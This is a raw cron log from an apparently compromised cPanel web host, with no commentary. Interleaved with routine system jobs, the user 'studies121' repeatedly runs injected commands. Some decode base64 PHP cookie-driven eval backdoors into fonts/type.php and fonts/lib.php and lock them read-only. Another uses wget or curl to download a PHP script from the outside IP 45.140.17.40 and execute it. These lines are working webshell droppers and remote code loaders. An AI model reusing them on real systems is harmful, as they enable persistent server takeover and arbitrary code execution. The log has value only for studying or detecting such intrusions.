Sep  2 03:57:01 ip-184-168-122-23 CROND[6802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:58:02 ip-184-168-122-23 CROND[6905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:58:02 ip-184-168-122-23 CROND[6906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:58:02 ip-184-168-122-23 CROND[6907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:58:02 ip-184-168-122-23 CROND[6908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:58:02 ip-184-168-122-23 CROND[6910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:59:01 ip-184-168-122-23 CROND[7018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:59:01 ip-184-168-122-23 CROND[7019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:59:01 ip-184-168-122-23 CROND[7023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:59:01 ip-184-168-122-23 CROND[7022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7133]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:00:01 ip-184-168-122-23 CROND[7141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:00:01 ip-184-168-122-23 CROND[7148]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 04:00:01 ip-184-168-122-23 CROND[7149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:01:02 ip-184-168-122-23 CROND[7277]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7277]: starting 0anacron
Sep  2 04:01:02 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:01:02 ip-184-168-122-23 CROND[7286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:01:02 ip-184-168-122-23 CROND[7290]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:01:02 ip-184-168-122-23 CROND[7291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:01:02 ip-184-168-122-23 CROND[7289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7292]: finished 0anacron
Sep  2 04:02:01 ip-184-168-122-23 CROND[7391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:02:01 ip-184-168-122-23 CROND[7393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:02:01 ip-184-168-122-23 CROND[7394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:02:01 ip-184-168-122-23 CROND[7395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:02:01 ip-184-168-122-23 CROND[7396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:03:01 ip-184-168-122-23 CROND[7520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:03:01 ip-184-168-122-23 CROND[7521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:03:01 ip-184-168-122-23 CROND[7522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:03:01 ip-184-168-122-23 CROND[7524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:04:01 ip-184-168-122-23 CROND[7635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:04:01 ip-184-168-122-23 CROND[7634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:04:01 ip-184-168-122-23 CROND[7637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:04:01 ip-184-168-122-23 CROND[7638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:04:01 ip-184-168-122-23 CROND[7639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:05:01 ip-184-168-122-23 CROND[7771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:05:01 ip-184-168-122-23 CROND[7775]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:05:01 ip-184-168-122-23 CROND[7779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:05:01 ip-184-168-122-23 CROND[7780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:05:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:05:01 ip-184-168-122-23 CROND[7782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:05:01 ip-184-168-122-23 CROND[7789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:06:01 ip-184-168-122-23 CROND[7986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:06:01 ip-184-168-122-23 CROND[7985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:06:01 ip-184-168-122-23 CROND[7987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:06:01 ip-184-168-122-23 CROND[7989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:06:01 ip-184-168-122-23 CROND[7990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:07:01 ip-184-168-122-23 CROND[8116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:07:01 ip-184-168-122-23 CROND[8117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:07:01 ip-184-168-122-23 CROND[8119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:07:01 ip-184-168-122-23 CROND[8120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:08:01 ip-184-168-122-23 CROND[8212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:08:01 ip-184-168-122-23 CROND[8214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:08:01 ip-184-168-122-23 CROND[8215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 04:08:01 ip-184-168-122-23 CROND[8216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 04:08:01 ip-184-168-122-23 CROND[8217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:09:01 ip-184-168-122-23 CROND[8309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:09:01 ip-184-168-122-23 CROND[8311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 04:09:01 ip-184-168-122-23 CROND[8314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
